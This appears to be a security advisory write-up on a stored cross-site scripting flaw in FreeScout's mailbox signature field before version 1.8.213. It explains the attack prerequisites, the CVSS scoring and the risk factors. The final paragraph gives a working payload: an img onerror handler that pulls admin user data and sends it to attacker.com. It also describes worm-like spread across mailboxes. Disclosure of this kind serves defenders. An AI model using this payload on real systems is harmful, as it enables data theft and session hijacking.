FreeScout EUVD-2026-24169

Attacker must possess a valid authenticated FreeScout account with the ACCESS_PERM_SIGNATURE (sig) permission on at least one mailbox - a delegatable, non-administrator permission commonly granted to support agents who need to customize mailbox signatures. This permission is mailbox-specific rather than global, meaning an attacker needs signature rights only on a single mailbox to inject the payload into that mailbox's conversations. No special network position, non-default configuration, or specific FreeScout deployment mode is required beyond standard installation. Exploitation is limited to versions prior to 1.8.213. The payload triggers automatically (UI:N in CVSS) whenever any authenticated user with conversation access opens any ticket in the poisoned mailbox, requiring no victim interaction beyond normal help desk workflow. The changed scope (S:C in CVSS) indicates the attacker's privileges on one mailbox can affect users of other mailboxes through session hijacking or worm propagation. Maximum impact (session hijacking via cookie theft) requires either legacy browsers without strong CSP enforcement (Internet Explorer 11), weakened CSP policies due to unsafe-inline allowances or module loading, or the absence of HttpOnly flags on session cookies. However, phishing overlays and mass assignment attacks work regardless of CSP configuration in all modern browsers.

The CVSS 3.1 score of 8.5 (High) reflects the severe combination of network-based attack vector (AV:N), low complexity (AC:L), low privilege requirement (PR:L), no user interaction (UI:N), and changed scope (S:C) with high confidentiality impact. The changed scope metric is particularly significant, indicating that successful exploitation affects resources beyond the vulnerable component's security scope - in this case, compromising all users who view conversations in the poisoned mailbox. The PR:L rating means any authenticated user with delegatable signature permissions can exploit this, not just administrators, significantly expanding the threat surface in multi-agent help desk environments. The UI:N rating indicates the payload executes automatically when victims simply open a conversation, requiring no phishing or social engineering. Real-world risk is elevated because: (1) the attack persists across sessions until remediated, (2) it can propagate worm-like across all mailboxes if the attacker chains to mass assignment vulnerabilities, (3) phishing overlays work regardless of CSP in all browsers, and (4) the attacker only needs low-privilege access that is routinely delegated to support staff. However, risk is moderated by the authentication requirement - external attackers must first compromise a valid account with signature permissions. No EPSS score, CISA KEV listing, or public POC code was provided in the input data, suggesting this has not yet been widely exploited in the wild, though the detailed technical disclosure in the GitHub advisory significantly lowers the barrier to weaponization. Organizations running FreeScout should treat this as an urgent patch priority, especially if multiple agents have signature permissions or if the instance is exposed to untrusted internal users.

An attacker with a low-privilege FreeScout account (e.g., a disgruntled support agent or compromised contractor account) who has been granted signature editing permission on any mailbox navigates to the mailbox settings and edits the signature field. They inject malicious HTML such as <img src=x onerror='fetch("/api/admin/users").then(r=>r.json()).then(d=>fetch("https://attacker.com/steal?data="+btoa(JSON.stringify(d))))'> into the signature and save it. The next time any administrator or agent opens any conversation in that mailbox, the signature renders at the bottom of the editor, the onerror event fires immediately without any user interaction, and the JavaScript payload executes in the victim's browser context. The script can exfiltrate session tokens, perform authenticated actions as the victim (including creating new admin accounts via mass assignment if other vulnerabilities exist), or inject phishing overlays that harvest credentials. If the victim has signature permissions on other mailboxes, the attacker's script can automatically propagate the payload to those mailboxes, creating a self-replicating worm that spreads across the entire FreeScout instance.